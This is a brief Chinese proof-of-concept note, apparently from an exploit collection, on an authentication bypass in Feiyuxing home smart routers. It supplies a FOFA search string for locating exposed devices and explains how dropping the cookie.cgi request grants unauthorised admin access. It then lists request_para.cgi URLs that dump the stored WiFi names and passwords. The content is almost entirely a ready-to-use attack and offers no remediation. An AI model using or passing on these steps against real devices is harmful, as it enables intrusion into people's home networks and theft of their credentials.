飞鱼星家用智能路由 cookie.cgi 权限绕过.md

660 B / 2021-05-21 09:14:38

    # 飞鱼星 家用智能路由 cookie.cgi 权限绕过

飞鱼星家用智能路由存在权限绕过，通过Drop特定的请求包访问未授权的管理员页面。

fofa:title="飞鱼星家用智能路由"


```
http://xxx.xxx.xxx.xxx/index.html
访问 index.html 时会请求 cookie.cgi
页面抓包 Drop掉 cookie.cgi
```


```
/request_para.cgi?parameter=wifi_info      #获取ALL WIFI账号密码
/request_para.cgi?parameter=wifi_get_5g_host #获取5GWIFI账号密码
/request_para.cgi?parameter=wifi_get_2g_host #获取2GWIFI账号密码
```

ref:

* https://mp.weixin.qq.com/s/ARCZIR2C40KSu8SjLMYHSw
* https://forum.ywhack.com/thread-115486-1-5.html